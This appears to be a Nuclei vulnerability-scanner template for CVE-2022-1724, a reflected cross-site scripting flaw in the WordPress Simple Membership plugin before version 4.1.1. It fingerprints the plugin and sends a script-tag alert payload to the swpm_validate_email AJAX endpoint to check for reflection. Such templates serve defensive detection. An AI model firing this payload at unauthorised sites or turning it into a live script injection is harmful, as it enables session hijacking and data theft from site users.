id: CVE-2022-1724

info:
  name: WordPress Simple Membership <4.1.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to the latest version of WordPress Simple Membership plugin (4.1.1 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1724
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1724
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42122
    cpe: cpe:2.3:a:simple-membership-plugin:simple_membership:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: "simple-membership-plugin"
    product: "simple_membership"
    framework: wordpress
  tags: cve,cve2022,xss,wp,wordpress,wpscan,wp-plugin,simple-membership-plugin
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/simple-membership/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Simple Membership'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"<script>alert(document.domain)</script>",'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fa4353c693ab59f6a231010e465713203888193a964f626af5d376349ca622ef022100aa2e0899b6c5a8bbb5a9208c05070dd200908e959676c34543f5f70c3752e815:922c64590222798bb761d5b6d8e72950